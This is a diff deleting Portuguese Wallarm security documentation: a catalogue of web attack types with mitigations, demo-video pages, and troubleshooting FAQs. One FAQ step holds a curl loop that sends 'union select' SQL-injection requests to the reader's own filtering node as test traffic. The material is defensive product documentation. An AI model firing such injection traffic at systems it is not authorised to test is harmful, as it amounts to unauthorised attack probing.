vulnerabilidade corresponde a [A06:2021 – Componentes vulneráveis e desatualizados](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components). - -**Solução:** - -Você pode seguir a recomendação de monitorar e aplicar atualizações ou alterações de configuração oportunamente para a vida útil do aplicativo ou API, como segue: - -* Remova dependências não utilizadas, recursos desnecessários, componentes, arquivos e documentação. -* Inventarie continuamente as versões de ambos os componentes do lado do cliente e do lado do servidor (por exemplo, frameworks, bibliotecas) e suas dependências usando ferramentas como OWASP Dependency Check, retire.js, etc. -* Monitore continuamente fontes como Common Vulnerability and Exposures (CVE) e National Vulnerability Database (NVD) em busca de vulnerabilidades nos componentes. -* Obtenha apenas componentes de fontes oficiais em links seguros. Prefira pacotes assinados para reduzir a chance de incluir um componente modificado e malicioso. -* Monitore as bibliotecas e os componentes que não são mantidos ou não criam patches de segurança para versões mais antigas. Se o patching não for possível, considere implantar um patch virtual para monitorar, detectar ou proteger contra o problema descoberto. - -### Execução remota de código (RCE) - -**Vulnerabilidade/Ataque** - -**Códigos CWE:** [CWE-78][cwe-78], [CWE-94][cwe-94] e outros - -**Código Wallarm:** `rce` - -**Descrição:** - -Um atacante pode injetar um código malicioso em uma solicitação para um aplicativo da web e o aplicativo executará esse código. Além disso, o atacante pode tentar executar certos comandos para o sistema operacional em que o aplicativo da web vulnerável é executado. - -Dado que um ataque RCE é bem-sucedido, um atacante pode realizar uma ampla gama de ações, incluindo: - -* Comprometer a confidencialidade, acessibilidade e integridade dos dados do aplicativo da web vulnerável. -* Assumir o controle do sistema operacional e do servidor em que o aplicativo da web é executado. -* Outras ações possíveis. - -Esta vulnerabilidade ocorre devido à validação e análise incorretas da entrada do usuário. - -**Solução:** - -Você pode seguir a recomendação de desinfetar e filtrar toda a entrada do usuário para evitar que uma entidade na entrada seja executada. - -### Evasão de autenticação - -**Vulnerabilidade** - -**Código CWE:** [CWE-288][cwe-288] - -**Código Wallarm:** `auth` - -**Descrição:** - -Apesar de haver mecanismos de autenticação em vigor, um aplicativo da web pode ter métodos alternativos de autenticação que permitem contornar o mecanismo de autenticação principal ou explorar suas fraquezas. Essa combinação de fatores pode resultar em um atacante obtendo acesso com permissões de usuário ou administrador. - -Um ataque bem-sucedido de evasão de autenticação potencialmente leva à divulgação dos dados confidenciais dos usuários ou ao controle do aplicativo vulnerável com permissões de administrador. - -**Solução:** - -Você pode seguir estas recomendações: - -* Melhore e fortaleça os mecanismos de autenticação existentes. -* Elimine quaisquer métodos alternativos de autenticação que possam permitir aos atacantes acessar um aplicativo contornando o procedimento de autenticação exigido por meio de mecanismos predefinidos. -* Aplique as recomendações da [Folha de dicas de autenticação da OWASP][link-owasp-auth-cheatsheet]. - -### Injeção CRLF - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-93][cwe-93] - -**Código Wallarm:** `crlf` - -**Descrição:** - -As injeções CRLF representam uma classe de ataques que permitem que um invasor injete os caracteres Carriage Return (CR) e Line Feed (LF) em uma solicitação a um servidor (por exemplo, solicitação HTTP). - -Combinada com outros fatores, essa injeção de caracteres CR/LF pode ajudar a explorar uma variedade de vulnerabilidades (por exemplo, Divisão de resposta HTTP [CWE-113][cwe-113], Contrabando de resposta HTTP [CWE-444][cwe-444]). - -Um ataque de injeção CRLF bem-sucedido pode dar ao invasor a capacidade de contornar firewalls, realizar envenenamento de cache, substituir páginas da web legítimas por maliciosas, realizar o ataque de "redirecionamento aberto" e muitas outras ações. - -Esta vulnerabilidade ocorre devido à validação e análise incorretas da entrada do usuário. - -**Solução:** - -Você pode seguir a recomendação de desinfetar e filtrar toda a entrada do usuário para evitar que uma entidade na entrada seja executada. - -### Injeção LDAP - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-90][cwe-90] - -**Código Wallarm:** `ldapi` - -**Descrição:** - -As injeções LDAP representam uma classe de ataques que permitem que um invasor altere os filtros de pesquisa LDAP modificando as solicitações a um servidor LDAP. - -Um ataque de injeção LDAP bem-sucedido potencialmente concede acesso às operações de leitura e gravação em dados confidenciais sobre usuários e hosts LDAP. - -Esta vulnerabilidade ocorre devido à validação e análise incorretas da entrada do usuário. - -**Solução:** - -Pode-se seguir estas recomendações: - -* Desinfetar e filtrar todos os parâmetros que um aplicativo da web recebe como entrada para evitar que uma entidade na entrada seja executada. -* Aplique as recomendações da [Folha de dicas de prevenção de injeção LDAP da OWASP][link-owasp-ldapi-cheatsheet]. - -### Injeção NoSQL - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-943][cwe-943] - -**Código Wallarm:** `nosqli` - -**Descrição:** - -A vulnerabilidade para este ataque ocorre devido à filtragem insuficiente da entrada do usuário. Um ataque de injeção NoSQL é realizado injetando uma consulta especialmente criada em um banco de dados NoSQL. - -**Solução:** - -Pode-se seguir a recomendação para desinfetar e filtrar toda a entrada do usuário para evitar que uma entidade na entrada seja executada. - -### Traversal de Caminho - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-22][cwe-22] - -**Código Wallarm:** `ptrav` - -**Descrição:** - -Um ataque de traversal de caminho permite que um invasor acesse arquivos e diretórios com dados confidenciais armazenados no sistema de arquivos onde reside o aplicativo da web vulnerável, alterando os caminhos existentes por meio dos parâmetros do aplicativo da web. - -A vulnerabilidade para este ataque ocorre devido à filtragem insuficiente da entrada do usuário ao solicitar um arquivo ou diretório por meio do aplicativo da web. - -**Solução:** - -Pode-se seguir estas recomendações: - -* Desinfetar e filtrar todos os parâmetros que um aplicativo da web recebe como entrada para evitar que uma entidade na entrada seja executada. -* Recomendações adicionais para mitigar esses ataques estão disponíveis [aqui][link-ptrav-mitigation]. - -### Injeção SQL - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-89][cwe-89] - -**Código Wallarm:** `sqli` - -**Descrição:** - -A vulnerabilidade para este ataque ocorre devido à filtragem insuficiente da entrada do usuário. Um ataque de injeção SQL é realizado injetando uma consulta especialmente criada em um banco de dados SQL. - -Um ataque de injeção SQL permite que um invasor injete um código SQL arbitário em uma [consulta SQL](https://www.wallarm.com/what/structured-query-language-injection-sqli-part-1). Isso leva potencialmente ao invasor sendo concedido acesso para ler e modificar os dados confidenciais, bem como a direitos de administrador do DBMS. - -**Solução:** - -Pode-se seguir estas recomendações: - -* Desinfetar e filtrar todos os parâmetros que um aplicativo da web recebe como entrada para evitar que uma entidade na entrada seja executada. -* Aplique as recomendações da [Folha de dicas de prevenção de injeção SQL da OWASP][link-owasp-sqli-cheatsheet]. - -### Injeção de Email - -**Ataque** - -**Códigos CWE:** [CWE-20][cwe-20], [CWE-150][cwe-150], [CWE-88][cwe-88] - -**Código Wallarm:** `mail_injection` - -**Descrição:** - -Email Injection é uma expressão [IMAP][link-imap-wiki]/[SMTP][link-smtp-wiki] maliciosa geralmente enviada por meio do formulário de contato do aplicativo da web para alterar o comportamento padrão do servidor de email. - -A vulnerabilidade para este ataque ocorre devido à má validação dos dados inseridos no formulário de contato. A Email Injection permite contornar as restrições do cliente de email, roubar dados do usuário e enviar spam. - -**Solução:** - -* Desinfetar e filtrar todos os dados de entrada do usuário para evitar cargas úteis maliciosas na entrada de serem executadas. -* Aplique as recomendações da [Folha de dicas de validação de entrada da OWASP][link-owasp-inputval-cheatsheet]. - -### Injeção do SSI - -**Ataque** - -**Códigos CWE:** [CWE-96][cwe-96], [CWE-97][cwe-97] - -**Código Wallarm:** `ssi` - -**Descrição:** - -[SSI (Server Side Includes)][ssi-wiki] é uma linguagem de scripts do lado do servidor interpretada simples mais útil para incluir o conteúdo de um ou mais arquivos em uma página da web em um servidor web. É suportado pelos servidores web Apache e NGINX. - -A injeção SSI permite a exploração de um aplicativo da web injetando cargas úteis maliciosas nas páginas HTML ou executando códigos arbitrários remotamente. Pode ser explorado através da manipulação do SSI em uso no aplicativo ou forçando seu uso através de campos de entrada do usuário. - -**Exemplo:** - -Um invasor pode alterar a saída da mensagem e alterar o comportamento do usuário. Exemplo de injeção SSI: - -```bash - -``` - -**Solução:** - -* Desinfetar e filtrar todos os dados de entrada do usuário para evitar cargas úteis maliciosas na entrada de serem executadas. -* Aplique as recomendações da [Folha de dicas de validação de entrada da OWASP][link-owasp-inputval-cheatsheet]. - -### Atribuição em massa - -**Ataque** - -**Código Wallarm:** `mass_assignment` - -**Descrição:** - -Durante um ataque de Atribuição em Massa, os invasores tentam vincular parâmetros da solicitação HTTP a variáveis ou objetos de código do programa. Se uma API for vulnerável e permitir a vinculação, os invasores poderão alterar propriedades de objeto sensíveis que não se destinam a ser expostas, o que pode levar à escalonamento de privilégios, à evasão de mecanismos de segurança e muito mais. - -As APIs vulneráveis ao ataque de atribuição em massa permitem converter a entrada do cliente em variáveis internas ou propriedades de objeto sem filtragem adequada. Esta vulnerabilidade está incluída no [OWASP API Top 10 (API6:2019 Mass Assignment)](https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa6-mass-assignment.md) lista dos riscos de segurança de API mais sérios. - -A partir da versão 4.4.3, o Wallarm mitiga tentativas de atribuição em massa. - -**Solução:** - -Para proteger a API, você pode seguir estas recomendações: - -* Evite usar funções que vinculam automaticamente a entrada do cliente em variáveis de código ou propriedades de objeto. -* Use recursos de função incorporados para listar apenas as propriedades que devem ser atualizadas pelo cliente e listar em preto as propriedades privadas. -* Se aplicável, defina e aplique de maneira explícita esquemas para as cargas úteis de dados de entrada. - -### JWT fraco - -**Vulnerabilidade** - -**Código CWE:** [CWE-1270][cwe-1270], [CWE-1294][cwe-1294] - -**Código Wallarm:** `weak_auth` - -**Descrição:** - -[JSON Web Token (JWT)](https://jwt.io/) é uma padrão de autenticação popular usado para trocar dados entre recursos como APIs de forma segura. - -A comprometimento do JWT é um objetivo comum dos atacantes já que quebrar os mecanismos de autenticação fornece a eles acesso total a aplicativos da web e APIs. Os JWTs mais fracos têm maior chance de serem comprometidos. - -**Comportamento Wallarm:** - -A Wallarm detecta JWTs fracos apenas se o nó de filtragem tiver a versão 4.4 ou superior e houver o [gatilho **JWT fraco**](user-guides/triggers/trigger-examples.md#detect-weak-jwts) ativado. - -A Wallarm considera que os JWTs são fracos se forem: - -* Não criptografados - não há algoritmo de assinatura (o campo `alg` é `none` ou ausente). -* Assinados usando chaves secretas comprometidas. - -Uma vez que um JWT fraco é detectado, a Wallarm registra a [vulnerabilidade](user-guides/vulnerabilities.md) correspondente. - -**Solução:** - -* Aplique as recomendações da [Folha de dicas do Token Web JSON do OWASP](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html) -* [Verifique se sua implementação JWT é vulnerável a segredos bem conhecidos](https://lab.wallarm.com/340-weak-jwt-secrets-you-should-check-in-your-code/) - -### Abuso de API - -**Ataque** - -**Código Wallarm:** `api_abuse` - -**Descrição:** - -Um conjunto de tipos de bot básicos que inclui o aumento do tempo de resposta do servidor, a criação de contas falsas e a escalada. - -**Comportamento Wallarm:** - -A Wallarm detecta o abuso da API apenas se o nó de filtragem tiver a versão 4.2 ou superior. - -O módulo [Prevenção de abuso de API](api-abuse-prevention/overview.md) usa o modelo complexo de detecção de bots para detectar o seguinte tipo de bots: - -* Abuso da API destinado a aumentar o tempo de resposta do servidor ou indisponibilidade do servidor. Normalmente, é alcançado por picos de tráfego maliciosos. -* [Criação de conta falsa](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation) e [Spamming](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-017_Spamming) é a criação de contas falsas ou confirmação de conteúdo falso (por exemplo, feedback). Geralmente, não resulta na indisponibilidade do serviço, mas retarda ou degrada processos de negócios regulares, por exemplo: - - * Processamento de solicitações de usuários reais pela equipe de suporte - * Coleta de estatísticas de usuário reais pela equipe de marketing - -* [Scalping](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-005_Scalping) é caracterizado por bots tornando produtos de lojas online indisponíveis para clientes reais, por exemplo, reservando todos os itens para que eles fiquem fora de estoque, mas não geram qualquer lucro. - -Se as métricas apontam para sinais de ataque de bot, o módulo [denylists ou graylists](api-abuse-prevention/overview.md#reaction-to-malicious-bots) a fonte do tráfego de anomalias por 1 hora. - -**Solução:** - -Você pode seguir estas recomendações: - -* Familiarize-se com o [deskrição de ameaças automatizadas da OWASP](https://owasp.org/www-project-automated-threats-to-web-applications/) para aplicativos da web. -* Denylist de endereços IP de regiões e origens (como Tor), definitivamente não relacionados ao seu aplicativo. -* Configure o limite de taxa do lado do servidor para as solicitações. -* Use soluções CAPTCHA adicionais. -* Procure em sua análise de aplicativo os sinais de ataque bot. - -### Abuso da API - Assumir conta - -**Ataque** - -**Código Wallarm:** `api_abuse` - -**Descrição:** - -Um tipo de ataque cibernético no qual um ator malicioso ganha acesso à conta de outra pessoa sem permissão ou conhecimento. Isso pode acontecer quando um invasor obtém as credenciais de login de um usuário por meio de vários meios, como phishing, malwares ou engenharia social. Depois de ter acesso à conta, eles podem usar para vários propósitos, como roubar informações sensíveis, realizar transações fraudulentas ou espalhar spam ou malwares. Ataques de assumir contas podem ter sérias consequências para indivíduos e empresas, incluindo perdas financeiras, danos à reputação e perda de confiança. - -**Comportamento Wallarm:** - -A Wallarm detecta o abuso da API apenas se o nó de filtragem tiver a versão 4.2 ou superior. - -O módulo [Prevenção de abuso de API](api-abuse-prevention/overview.md) usa o modelo complexo de detecção de bots para detectar os seguintes tipos de bots de Assumir Conta: - -* [Crack de Credencial](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-007_Credential_Cracking.html) inclui ataques de força bruta, dicionário (lista de palavras) e palpite usados contra processos de autenticação do aplicativo para identificar credenciais de conta válidas. -* [Preenchimento de Credenciais](https://owasp.org/www-community/attacks/Credential_stuffing) é a injeção automatizada de credenciais de usuário roubadas em formulários de login do site, a fim de obter acesso fraudulento a contas de usuários. - -**Solução:** - -Você pode seguir estas recomendações: - -* Familiarize-se com o [deskrição de ameaças automatizadas da OWASP](https://owasp.org/www-project-automated-threats-to-web-applications/) para aplicativos da web. -* Use senhas fortes. -* Não use as mesmas senhas para diferentes recursos. -* Ative a autenticação de dois fatores. -* Use soluções CAPTCHA adicionais. -* Monitore as contas em busca de atividades suspeitas. - -### Abuso da API - Rastreadores de segurança - -**Ataque** - -**Código Wallarm:** `api_abuse` - -**Descrição:** - -Embora os rastreadores de segurança sejam projetados para verificar sites e detectar vulnerabilidades e problemas de segurança, eles também podem ser usados para fins maliciosos. Os invasores podem usá-los para identificar sites vulneráveis e explorá-los para seu próprio ganho. - -Além disso, alguns rastreadores de segurança podem ser mal projetados e inadvertidamente causar danos a sites, sobrecarregando servidores, causando falhas ou criando outros tipos de interrupções. - -**Comportamento Wallarm:** - -A Wallarm detecta o abuso da API apenas se o nó de filtragem tiver a versão 4.2 ou superior. - -O módulo [Prevenção de abuso de API](api-abuse-prevention/overview.md) usa o modelo complexo de detecção de bots para detectar os seguintes tipos de bots Rastreadores de Segurança: - -* [Digitalização de dados](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-004_Fingerprinting) explora solicitações específicas que são enviadas ao aplicativo trazendo informações para perfilar o aplicativo. -* [Footprinting](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-018_Footprinting.html) é uma coleta de informações com o objetivo de aprender o máximo possível sobre a composição, configuração e mecanismos de segurança do aplicativo. -* [Varredura de vulnerabilidade](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning) é caracterizada pela busca de vulnerabilidade do serviço. - -**Solução:** - -Você pode seguir estas recomendações: - -* Familiarize-se com o [deskrição de ameaças automatizadas da OWASP](https://owasp.org/www-project-automated-threats-to-web-applications/) para aplicativos da web. -* Use certificados SSL. -* Use soluções CAPTCHA adicionais. -* Implemente limite de taxa. -* Monitore seu tráfego em busca de padrões que podem indicar atividade maliciosa. -* Use um arquivo robots.txt para dizer aos rastreadores dos mecanismos de busca quais páginas podem e não podem ser rastreadas. -* Atualize regularmente o software. -* Use uma rede de entrega de conteúdo (CDN). - -### Abuso da API - Raspagem - -**Ataque** - -**Código Wallarm:** `api_abuse` - -**Descrição:** - -A raspagem da web, também conhecida como coleta de dados ou colheita da web, é o processo de extrair dados automaticamente de sites. Envolve o uso de software ou código para recuperar e extrair dados de páginas da web e salvá-los em um formato estruturado, como uma planilha ou banco de dados. - -A raspagem da web pode ser usada para fins maliciosos. Por exemplo, os raspadores podem ser usados para roubar informações sensíveis, como credenciais de login, informações pessoais ou dados financeiros de sites. Os raspadores também podem ser usados para spam ou raspar dados de um site de uma maneira que degrade seu desempenho, causando ataques de negação de serviço (DoS). - -**Comportamento Wallarm:** - -A Wallarm detecta o abuso da API apenas se o nó de filtragem tiver a versão 4.2 ou superior. - -O módulo [Prevenção de abuso de API](api-abuse-prevention/overview.md) usa o modelo complexo de detecção de bots para detectar o tipo de bot [scraping](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-011_Scraping) que está coletando dados acessíveis e / ou saída processada do aplicativo que pode resultar em conteúdo privado ou não gratuito tornando-se disponível para qualquer usuário. - -**Solução:** - -Você pode seguir estas recomendações: - -* Familiarize-se com o [deskrição de ameaças automatizadas da OWASP](https://owasp.org/www-project-automated-threats-to-web-applications/) para aplicativos da web. -* Use soluções CAPTCHA adicionais. -* Use um arquivo robots.txt para dizer aos rastreadores de motores de busca quais páginas eles podem e não podem rastrear. -* Monitore seu tráfego em busca de padrões que podem indicar atividade maliciosa. -* Implemente um limite de taxa. -* Ofusque ou criptografe dados. -* Tomar medidas legais. - -## A lista de ataques especiais e vulnerabilidades - -### Patch virtual - -**Ataque** - -**Código Wallarm:** `vpatch` - -**Descrição:** - -Uma solicitação é marcada como um `vpatch` se faz parte de um ataque que foi mitigado pelo mecanismo de [patch virtual][doc-vpatch]. - -### Cabeçalho XML inseguro - -**Ataque** - -**Código Wallarm:** `invalid_xml` - -**Descrição:** - -Uma solicitação é marcada como um `invalid_xml` se o corpo dela contém um documento XML e a codificação do documento difere da codificação declarada no cabeçalho XML. - -### Excedendo o limite de recursos computacionais - -**Ataque** - -**Código Wallarm:** `overlimit_res` - -**Descrição:** - -Existem dois cenários em que o nó Wallarm marca uma solicitação como o ataque `overlimit_res`: - -* O nó Wallarm está configurado de tal maneira que deve gastar no máximo `N` milissegundos no processamento de solicitações de entrada (valor padrão: `1000`). Se a solicitação não for processada dentro do prazo especificado, o processamento da solicitação será interrompido e a solicitação marcada como um ataque `overlimit_res`. - - Você pode especificar o limite de tempo personalizado e alterar o comportamento padrão do nó quando o limite é excedido usando a [regra **Ajuste fino da detecção de ataque overlimit_res**](user-guides/rules/configure-overlimit-res-detection.md). - - Limitar o tempo de processamento da solicitação evita os ataques de bypass direcionados aos nós Wallarm. Em alguns casos, as solicitações marcadas como `overlimit_res` podem indicar recursos insuficientes alocados para os módulos Wallarm que levam a um longo tempo de processamento da solicitação. -* A solicitação faz o upload do arquivo gzip pesando mais de 512 MB. - -### Ataque de negação de serviço distribuído (DDoS) - -Um ataque de negação de serviço distribuído (DDoS) é um tipo de ataque cibernético no qual um invasor busca tornar um site ou serviço online indisponível, sobrecarregando-o com tráfego de várias fontes. - -Existem muitas técnicas que os invasores podem usar para lançar um ataque DDoS, e os métodos e ferramentas que eles usam podem variar significativamente. Alguns ataques são relativamente simples e usam técnicas de baixo nível, como enviar um grande número de solicitações de conexão a um servidor, enquanto outros são mais sofisticados e usam táticas complexas, como falsificação de endereços IP ou exploração de vulnerabilidades na infraestrutura de rede. - -[Leia nosso guia sobre como proteger recursos contra DDoS](admin-en/configuration-guides/protecting-against-ddos.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/demo-videos/api-abuse-prevention.md b/docs/latest-pt-BR/demo-videos/api-abuse-prevention.md deleted file mode 100644 index dc32e0d505..0000000000 --- a/docs/latest-pt-BR/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1,12 +0,0 @@ -# Visão geral da prevenção de abuso de API - -Assista ao nosso vídeo de demonstração para se familiarizar com os vários tipos de bots dos quais o módulo [**Prevenção de abuso de API**](../api-abuse-prevention/overview.md) da plataforma Wallarm pode proteger suas aplicações e para compreender seu potencial para prevenir o abuso de API por bots. - -
            - -
            - -**Artigos relacionados da documentação** - -* [Visão geral da prevenção de abuso de API](../api-abuse-prevention/overview.md) -* [Guia do usuário para prevenção de abuso de API](../api-abuse-prevention/setup.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/demo-videos/api-discovery.md b/docs/latest-pt-BR/demo-videos/api-discovery.md deleted file mode 100644 index 3259cec09e..0000000000 --- a/docs/latest-pt-BR/demo-videos/api-discovery.md +++ /dev/null @@ -1,12 +0,0 @@ -# Visão geral do API Discovery - -Assista ao nosso vídeo de demonstração para descobrir o potencial total do módulo [**API Discovery**](../api-discovery/overview.md) da plataforma Wallarm. Familiarize-se com o inventário de API que ele constrói com base no uso real da API e aprenda a aproveitar as informações apresentadas. - -
            - -
            - -**Artigos de documentação relacionados** - -* [Visão geral do API Discovery](../api-discovery/overview.md) -* [Guia do usuário de API Discovery](../api-discovery/exploring.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/demo-videos/api-leaks.md b/docs/latest-pt-BR/demo-videos/api-leaks.md deleted file mode 100644 index a7668153ee..0000000000 --- a/docs/latest-pt-BR/demo-videos/api-leaks.md +++ /dev/null @@ -1,12 +0,0 @@ -# Visão geral de vazamentos de API - -Assista ao nosso vídeo de demonstração para se familiarizar com os vários tipos de vazamentos de API que o módulo [**Vazamentos de API**](../api-attack-surface/security-issues.md) da plataforma Wallarm descobre e para entender como ele pode remediar quaisquer vazamentos detectados. - -
            - -
            - -**Artigos relacionados na documentação** - -* [Visão geral de vazamentos de API](../api-attack-surface/security-issues.md) -* [Guia do usuário de vazamentos de API](../user-guides/api-leaks.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/demo-videos/events-inspection.md b/docs/latest-pt-BR/demo-videos/events-inspection.md deleted file mode 100644 index 70d04006cc..0000000000 --- a/docs/latest-pt-BR/demo-videos/events-inspection.md +++ /dev/null @@ -1,51 +0,0 @@ -# Analisando CVEs e ataques relacionados - -Assista ao nosso vídeo de demonstração para se familiarizar com o painel [**CVEs**](../user-guides/dashboards/threat-prevention.md#cves) da plataforma Wallarm e saber como usar este painel em conjunto com a seção [**Eventos**](../user-guides/events/check-attack.md) para analisar eventos específicos relacionados ao CVE. - - - -
            - -
            - -**Artigos de documentação relacionados** - -* [Widget CVEs](../user-guides/dashboards/threat-prevention.md#cves) \ No newline at end of file diff --git a/docs/latest-pt-BR/demo-videos/overview.md b/docs/latest-pt-BR/demo-videos/overview.md deleted file mode 100644 index 2832e0dd53..0000000000 --- a/docs/latest-pt-BR/demo-videos/overview.md +++ /dev/null @@ -1,32 +0,0 @@ -# Configurações da plataforma Wallarm - - - -Assista ao nosso vídeo demonstrativo para descobrir as configurações gerais do Wallarm disponíveis no Console Wallarm, como o [gerenciamento de usuários](../user-guides/settings/users.md), configuração do modo de [filtração de node](../user-guides/settings/general.md), gerenciamento de [planos de assinatura](../user-guides/settings/subscriptions.md), [configuração de aplicativos](../user-guides/settings/applications.md) e [registro de atividades](../user-guides/settings/audit-log.md). - -
            - -
            - -**Artigos relacionados na documentação** - -* [Configurações gerais](../user-guides/settings/general.md) diff --git a/docs/latest-pt-BR/demo-videos/shadow-api.md b/docs/latest-pt-BR/demo-videos/shadow-api.md deleted file mode 100644 index d3c906cbb4..0000000000 --- a/docs/latest-pt-BR/demo-videos/shadow-api.md +++ /dev/null @@ -1,13 +0,0 @@ -# Detecção de APIs Sombra e Órfãs - -Assista ao nosso vídeo demonstrativo para se familiarizar com como você pode detectar [pontos finais sombra e órfãos](../api-discovery/overview.md#shadow-orphan-and-zombie-apis) em sua API usando Wallarm. - -
            - -
            - -**Artigos relacionados à documentação** - -* [Detecção de API desonestas](../api-discovery/overview.md#shadow-orphan-and-zombie-apis) com o módulo **API Discovery** -* [Carregando suas especificações para comparação para encontrar APIs desonestas](../api-specification-enforcement/overview.md#revealing-shadow-orphan-and-zombie-api) -* [Exibindo as APIs desonestas encontradas na seção API Discovery](../api-discovery/exploring.md#displaying-shadow-orphan-and-zombie-api) \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/attacks-not-uploaded-to-cloud.md b/docs/latest-pt-BR/faq/attacks-not-uploaded-to-cloud.md deleted file mode 100644 index be6826ad1a..0000000000 --- a/docs/latest-pt-BR/faq/attacks-not-uploaded-to-cloud.md +++ /dev/null @@ -1,104 +0,0 @@ -# Os ataques não estão sendo enviados para a Nuvem Wallarm - -Se você suspeita que os ataques do tráfego não estão sendo enviados para a Nuvem Wallarm e, como resultado, não aparecem na interface do usuário do Console Wallarm, use este artigo para depurar o problema. - -Para depurar o problema, execute as seguintes etapas em sequência: - -1. Gere algum tráfego malicioso para realizar mais depurações. -1. Verifique o modo de operação do nó de filtragem. -1. Verifique se o Tarantool tem recursos suficientes para processar solicitações. -1. Capture logs e compartilhe-os com a equipe de suporte da Wallarm. - -## 1. Gere algum tráfego malicioso - -Para fazer mais depurações dos módulos Wallarm: - -1. Envie o seguinte tráfego malicioso: - - ```bash - for i in `seq 100`; do curl "http:///?wallarm_test_xxxx=union+select+$i"; sleep 1; done - ``` - - Substitua `` pelo IP do nó de filtragem que você deseja verificar. Se necessário, adicione o cabeçalho `Host:` ao comando. -1. Aguarde até 2 minutos para que os ataques apareçam no Console Wallarm → **Eventos**. Se todas as 100 solicitações aparecerem, o nó de filtragem está operando corretamente. -1. Conecte-se ao servidor com o nó de filtragem instalado e obtenha as [métricas do nó](../admin-en/configure-statistics-service.md): - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - Mais adiante, nos referiremos à saída do `wallarm-status`. - -## 2. Verifique o modo de operação do nó de filtragem - -Verifique o modo de operação do nó de filtragem da seguinte forma: - -1. Verifique se o [modo](../admin-en/configure-wallarm-mode.md) do nó de filtragem é diferente de `off`. O nó não processa o tráfego de entrada no modo `off`. - - O modo `off` é uma razão comum para as métricas `wallarm-status` não aumentarem. -1. Reinicie o NGINX para ter certeza de que as configurações do nó Wallarm foram aplicadas (se o nó foi instalado a partir dos pacotes DEB/RPM): - - --8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" -1. [Gere](#1-gerar-algum-tráfego-malicioso) tráfego malicioso novamente para ter certeza de que os ataques ainda não estão sendo enviados para a Nuvem. - -## 3. Verifique se o Tarantool tem recursos suficientes para processar solicitações - -As seguintes métricas básicas do Tarantool apontam para problemas do Tarantool relacionados à exportação de ataques: - -* `wallarm.stat.export_delay` é um atraso no envio de ataques para a Nuvem Wallarm (em segundos) -* `wallarm.stat.timeframe_size` é o intervalo de tempo em que o Tarantool armazena solicitações (em segundos) -* `wallarm.stat.dropped_before_export` é o número de acertos que não tiveram tempo suficiente para serem enviados para a Nuvem Wallarm - -Para visualizar as métricas: - -1. Conecte-se ao servidor com o módulo postanalytics (Tarantool) instalado. -1. Execute os seguintes comandos: - - ```bash - wtarantool - require('console').connect('127.0.0.1:3313') - wallarm.stat.export_delay() - wallarm.stat.timeframe_size() - wallarm.stat.dropped_before_export() - ``` - -Se o valor de `wallarm.stat.dropped_before_export` for diferente de `0`: - -* [Aumente](../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool) a quantidade de memória alocada para o Tarantool (se `wallarm.stat.timeframe_size` for menor que 10 minutos). - - !!! info "Memória Recomendada" - É recomendado ajustar a memória alocada para o Tarantool para que a métrica `wallarm.stat.timeframe_size` não caia abaixo de `300` segundos durante as cargas de pico. - -* Aumente o número de manipuladores `export_attacks` em `/etc/wallarm/node.yaml` → `export_attacks`, por exemplo: - - ```yaml - export_attacks: - threads: 5 - api_chunk: 20 - ``` - - As configurações `export_attacks` são as seguintes por padrão: - - * `threads: 2` - * `api_chunk: 10` - -## 4. Capture logs e compartilhe-os com a equipe de suporte da Wallarm - -Se as etapas acima não ajudarem a resolver o problema, por favor, capture os logs do nó e compartilhe-os com a equipe de suporte da Wallarm da seguinte forma: - -1. Conecte-se ao servidor com o nó Wallarm instalado. -1. Obtenha a saída do `wallarm-status` da seguinte forma: - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - Copie uma saída. -1. Execute o script de diagnóstico Wallarm: - - ```bash - sudo /usr/share/wallarm-common/collect-info.sh - ``` - - Obtenha o arquivo gerado com os logs. -1. Envie todos os dados coletados para a [equipe de suporte Wallarm](mailto:support@wallarm.com) para investigação futura. \ No newline at end of file diff --git a/docs/latest-pt-BR/faq/common-errors-after-installation.md b/docs/latest-pt-BR/faq/common-errors-after-installation.md deleted file mode 100644 index 939a505dcf..0000000000 --- a/docs/latest-pt-BR/faq/common-errors-after-installation.md +++ /dev/null @@ -1,109 +0,0 @@ -# Erros após a instalação do nó Wallarm - -Se ocorrerem alguns erros após a instalação do nó Wallarm, verifique este guia de solução de problemas para solucioná-los. Se você não encontrou detalhes relevantes aqui, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com). - -## Falha nos cenários de download de arquivo - -Se seus cenários de download de arquivos falharem após a instalação de um nó de filtro, o problema está no tamanho da solicitação ultrapassando o limite definido na diretiva `client_max_body_size` no arquivo de configuração da Wallarm. - -Altere o valor em `client_max_body_size` na diretiva `location` para o endereço que aceita os uploads de arquivos. Mudar apenas o valor de `location` protege a página principal de receber solicitações grandes. - -Altere o valor em `client_max_body_size`: - -1. Abra para edição o arquivo de configuração no diretório `/etc/nginx-wallarm`. -2. Insira o novo valor: - - ``` - location /file/upload { - client_max_body_size 16m; - } - ``` - - * `/file/upload` é o endereço que aceita os uploads de arquivos. - -A descrição detalhada da diretiva está disponível na [documentação oficial do 